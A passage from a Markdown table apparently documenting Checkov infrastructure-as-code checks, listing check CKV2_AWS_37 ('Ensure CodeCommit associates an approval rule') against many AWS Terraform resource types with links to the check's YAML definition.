[CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1707 | CKV2_AWS_37              | resource                         | aws_lakeformation_resource_lf_tag                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1708 | CKV2_AWS_37              | resource                         | aws_lakeformation_resource_lf_tags                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1709 | CKV2_AWS_37              | resource                         | aws_lambda_alias                                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1710 | CKV2_AWS_37              | resource                         | aws_lambda_code_signing_config                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1711 | CKV2_AWS_37              | resource                         | aws_lambda_event_source_mapping                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1712 | CKV2_AWS_37              | resource                         | aws_lambda_function                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1713 | CKV2_AWS_37              | resource                         | aws_lambda_function_event_invoke_config                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1714 | CKV2_AWS_37              | resource                         | aws_lambda_function_recursion_config                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1715 | CKV2_AWS_37              | resource                         | aws_lambda_function_url                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1716 | CKV2_AWS_37              | resource                         | aws_lambda_invocation                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1717 | CKV2_AWS_37              | resource                         | aws_lambda_layer_version                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1718 | CKV2_AWS_37              | resource                         | aws_lambda_layer_version_permission                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1719 | CKV2_AWS_37              | resource                         | aws_lambda_permission                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1720 | CKV2_AWS_37              | resource                         | aws_lambda_provisioned_concurrency_config                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1721 | CKV2_AWS_37              | resource                         | aws_lambda_runtime_management_config                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1722 | CKV2_AWS_37              | resource                         | aws_launch_configuration                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1723 | CKV2_AWS_37              | resource                         | aws_launch_template                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1724 | CKV2_AWS_37              | resource                         | aws_lb                                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1725 | CKV2_AWS_37              | resource                         | aws_lb_cookie_stickiness_policy                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1726 | CKV2_AWS_37              | resource                         | aws_lb_listener                                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1727 | CKV2_AWS_37              | resource                         | aws_lb_listener_certificate                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1728 | CKV2_AWS_37              | resource                         | aws_lb_listener_rule                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1729 | CKV2_AWS_37              | resource                         | aws_lb_ssl_negotiation_policy                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1730 | CKV2_AWS_37              | resource                         | aws_lb_target_group                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1731 | CKV2_AWS_37              | resource                         | aws_lb_target_group_attachment                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1732 | CKV2_AWS_37              | resource                         | aws_lb_trust_store                                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1733 | CKV2_AWS_37              | resource                         | aws_lb_trust_store_revocation                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1734 | CKV2_AWS_37              | resource                         | aws_lex_bot                                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1735 | CKV2_AWS_37              | resource                         | aws_lex_bot_alias                                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1736 | CKV2_AWS_37              | resource                         | aws_lex_intent                                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1737 | CKV2_AWS_37              | resource                         | aws_lex_slot_type                                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1738 | CKV2_AWS_37              | resource                         | aws_lexv2models_bot                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1739 | CKV2_AWS_37              | resource                         | aws_lexv2models_bot_locale                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1740 | CKV2_AWS_37              | resource                         | aws_lexv2models_bot_version                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1741 | CKV2_AWS_37              | resource                         | aws_lexv2models_intent                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1742 | CKV2_AWS_37              | resource                         | aws_lexv2models_slot                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1743 | CKV2_AWS_37              | resource                         | aws_lexv2models_slot_type                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1744 | CKV2_AWS_37              | resource                         | aws_licensemanager_association                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1745 | CKV2_AWS_37              | resource                         | aws_licensemanager_grant                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1746 | CKV2_AWS_37              | resource                         | aws_licensemanager_grant_accepter                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1747 | CKV2_AWS_37              | resource                         | aws_licensemanager_license_configuration                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1748 | CKV2_AWS_37              | resource                         | aws_lightsail_bucket                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1749 | CKV2_AWS_37              | resource                         | aws_lightsail_bucket_access_key                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1750 | CKV2_AWS_37              | resource                         | aws_lightsail_bucket_resource_access                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1751 | CKV2_AWS_37              | resource                         | aws_lightsail_certificate                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1752 | CKV2_AWS_37              | resource                         | aws_lightsail_container_service                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1753 | CKV2_AWS_37              | resource                         | aws_lightsail_container_service_deployment_version                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1754 | CKV2_AWS_37              | resource                         | aws_lightsail_database                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1755 | CKV2_AWS_37              | resource                         | aws_lightsail_disk                                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1756 | CKV2_AWS_37              | resource                         | aws_lightsail_disk_attachment                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1757 | CKV2_AWS_37              | resource                         | aws_lightsail_distribution                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1758 | CKV2_AWS_37              | resource                         | aws_lightsail_domain                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1759 | CKV2_AWS_37              | resource                         | aws_lightsail_domain_entry                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1760 | CKV2_AWS_37              | resource                         | aws_lightsail_instance                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1761 | CKV2_AWS_37              | resource                         | aws_lightsail_instance_public_ports                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1762 | CKV2_AWS_37              | resource                         | aws_lightsail_key_pair                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1763 | CKV2_AWS_37              | resource                         | aws_lightsail_lb                                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1764 | CKV2_AWS_37              | resource                         | aws_lightsail_lb_attachment                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1765 | CKV2_AWS_37              | resource                         | aws_lightsail_lb_certificate                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1766 | CKV2_AWS_37              | resource                         | aws_lightsail_lb_certificate_attachment                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1767 | CKV2_AWS_37              | resource                         | aws_lightsail_lb_https_redirection_policy                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1768 | CKV2_AWS_37              | resource                         | aws_lightsail_lb_stickiness_policy                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1769 | CKV2_AWS_37              | resource                         | aws_lightsail_static_ip                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1770 | CKV2_AWS_37              | resource                         | aws_lightsail_static_ip_attachment                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1771 | CKV2_AWS_37              | resource                         | aws_load_balancer_backend_server_policy                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1772 | CKV2_AWS_37              | resource                         | aws_load_balancer_listener_policy                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1773 | CKV2_AWS_37              | resource                         | aws_load_balancer_policy                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1774 | CKV2_AWS_37              | resource                         | aws_location_geofence_collection                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1775 | CKV2_AWS_37              | resource                         | aws_location_map                                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1776 | CKV2_AWS_37              | resource                         | aws_location_place_index                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1777 | CKV2_AWS_37              | resource                         | aws_location_route_calculator                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1778 | CKV2_AWS_37              | resource                         | aws_location_tracker                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1779 | CKV2_AWS_37              | resource                         | aws_location_tracker_association                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1780 | CKV2_AWS_37              | resource                         | aws_m2_application                                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1781 | CKV2_AWS_37              | resource                         | aws_m2_deployment                                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1782 | CKV2_AWS_37              | resource                         | aws_m2_environment                                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1783 | CKV2_AWS_37              | resource                         | aws_macie2_account                                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1784 | CKV2_AWS_37              | resource                         | aws_macie2_classification_export_configuration                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1785 | CKV2_AWS_37              | resource                         | aws_macie2_classification_job                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1786 | CKV2_AWS_37              | resource                         | aws_macie2_custom_data_identifier                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1787 | CKV2_AWS_37              | resource                         | aws_macie2_findings_filter                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1788 | CKV2_AWS_37              | resource                         | aws_macie2_invitation_accepter                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1789 | CKV2_AWS_37              | resource                         | aws_macie2_member                                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1790 | CKV2_AWS_37              | resource                         | aws_macie2_organization_admin_account                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1791 | CKV2_AWS_37              | resource                         | aws_macie_member_account_association                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1792 | CKV2_AWS_37              | resource                         | aws_macie_s3_bucket_association                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1793 | CKV2_AWS_37              | resource                         | aws_main_route_table_association                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1794 | CKV2_AWS_37              | resource                         | aws_media_convert_queue                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1795 | CKV2_AWS_37              | resource                         | aws_media_package_channel                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1796 | CKV2_AWS_37              | resource                         | aws_media_packagev2_channel_group                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | 